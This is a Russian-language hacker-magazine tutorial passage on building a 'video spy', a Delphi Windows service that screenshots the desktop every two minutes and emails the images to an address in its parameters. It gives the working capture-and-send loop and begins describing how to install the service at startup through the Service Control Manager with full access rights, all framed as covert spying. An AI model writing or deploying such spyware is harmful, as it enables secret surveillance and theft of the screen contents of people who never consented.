Видео-шпион gh05t (gh05t@yandex.ru) Хакер, номер #076, стр. 076-108-4 В задачи основного кода входит: получение свежего снимка рабочего стола, сжатие его и отправка по заданному в параметрах переменной mess адресу. Каждый момент мы рассмотрим подробно. Снять скриншот с рабочего стола – это, наверное, самое простое во всем сервисе визуального наблюдения. Делов-то - 2 строки. Сначала получаем хэндл контекста устройства (помнишь, мы переменную desk объявляли?). Делается это с помощью функции GetDC, которая по хэндлу окна выдаст хэндл контекста устройства (хэндл окна десктопа получается с помощью GetDesktopWindow). Этот контекст позволит получить доступ к изображению рабочего стола. А затем с помощью функции BitBlt полностью копируем изображение в наш буфер bmScreen. BitBlt(bmScreen.Canvas.Handle, 0, 0, bmScreen.Width, bmScreen.Height, desk, 0, 0, SRCCOPY); Для того чтобы ужать изображение (не хочешь же ты получать по 1,5 Мб, если можно 200 Кб) запишем его в переменную jpeg методом Assign, а затем сохраним в файл методом SaveToFile. Полученный файл прикрепим к письму, с помощью переменной attach, в конструкторе которой мы укажем, к какому письму и какой файл присоединять. Ну а, имея готовое письмо со скриншотом рабочего стола в аттаче, можно послать его по мылу. Я предлагаю взять процесс соединения с smtp-сервером в блок try-except, чтобы, если вдруг у нас возникнет ошибка (сервер не доступен там, или инет упал), сервис бы не помер. Если возникнет ошибка в таком блоке, шпион подождет полминуты и перейдет к следующей итерации цикла. Если же соединение прошло успешно, то мы просто отошлем созданное сообщение со скрином, отключимся и освободим переменную-аттач. Рабочий код сервиса desk:=GetDC(GetDesktopWindow); BitBlt(bmScreen.Canvas.Handle, 0, 0, bmScreen.Width, bmScreen.Height, desk, 0, 0, SRCCOPY); Jpeg.Assign(bmScreen); Jpeg.SaveToFile('С:\screenshot.jpg'); attach:=TIdAttachment.Create(mess.MessageParts,'С:\screenshot.jpg'); try smtp.Connect(-1); except sleep(30000); { полминуты } continue; end; smtp.Send(mes); smtp.Disconnect; attach.Free; { пауза между итерациями - две минуты } sleep(2*60000); Установка Наш видео-шпион закончен. Осталось только установить его в систему и наслаждаться результатом его работы. Правда для установки сервиса в систему, как это не прискорбно, потребуется еще одна программка, разработкой которой мы сейчас и займемся. Все сервисы, запускаемые при старте Windows, загружаются специальной системой, называемой SCM (Service Control Manager). Для взаимодействия с этой системой есть ряд функций, которыми нам предстоит манипулировать. Первая – OpenSCManager, функция, которая «откроет» SCM и получит определенные права доступа для работы с сервисами. Ей передаются имя машины, имя базы данных сервисов (оба параметра для локальных компьютеров - nil) и права доступа. Мы не будем скромничать и попросим в нашем установщике максимальных прав - SC_MANAGER_ALL_ACCESS. Если не произошло никаких ошибок, функция вернет нам хэндл SCM’а, без которого никакая работы с сервисами невозможна. |